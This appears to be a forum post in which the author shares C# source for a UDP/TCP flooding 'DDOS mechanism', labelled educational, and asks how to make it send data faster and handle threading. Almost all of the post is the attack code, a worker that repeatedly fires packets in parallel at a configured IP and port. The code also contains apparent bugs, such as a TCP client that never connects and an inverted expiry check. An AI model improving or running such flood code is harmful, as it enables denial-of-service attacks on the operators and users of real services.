I'm pretty new to this but I coded a DDOS mechanism for educational purposes. I need to know if the thread safety can be improved (Right now I have none, but do I need any?) and if the loop speed can be improved (can data be sent any faster)?
public class SessionWorker : ISessionWorker
{
private ISession _session;
private readonly Task _cycleTask;
private bool _cycleActive;
public SessionWorker()
{
_cycleTask = new Task(OnCycle);
}
public void Load(ISession session)
{
_session = session;
}
public void Start()
{
_cycleTask.Start();
_cycleActive = true;
}
public void Stop()
{
_cycleActive = false;
}
private void OnCycle()
{
if (_session.AttackType == SessionAttackType.Udp)
{
CycleUdp();
}
else
{
CycleTcp();
}
}
private void CycleUdp()
{
while (_cycleActive)
{
if (!_session.IsAttacking || _session.HasAttackExpired())
{
_session.StopAttack();
continue;
}
var udpClient = new UdpClient(_session.AttackingIp, _session.AttackingPort);
Parallel.For(1, 10, i =>
{
if (!_session.IsAttacking || !_cycleActive)
{
return;
}
var rubbish = new byte[1];
udpClient.Send(rubbish, rubbish.Length);
_session.BytesSent += rubbish.Length;
});
Thread.Sleep(2);
}
}
private void CycleTcp()
{
while (_cycleActive)
{
if (!_session.IsAttacking || _session.HasAttackExpired())
{
_session.StopAttack();
continue;
}
var tcpClient = new TcpClient();
Parallel.For(1, 10, i =>
{
if (!_session.IsAttacking || !_cycleActive)
{
return;
}
var rubbish = new byte[1];
tcpClient.Client.BeginSend(rubbish, 0, rubbish.Length, SocketFlags.None, ar => tcpClient.Client.EndSend(ar), tcpClient);
_session.BytesSent += rubbish.Length;
});
Thread.Sleep(2);
}
}
}
Other parts of the code?
public bool HasAttackExpired()
{
return (DateTime.Now - AttackExpiration).TotalSeconds < 1;
}
StopAttack method:
public void StopAttack()
{
if (IsAttacking && HasAttackExpired())
{
CoreUtilities.LogToConsole("Finished running an attack and sent " + BytesSent + " bytes.");
}
IsAttacking = false;
AttackingIp = "";
AttackingPort = 0;
SessionWorker.Stop();
}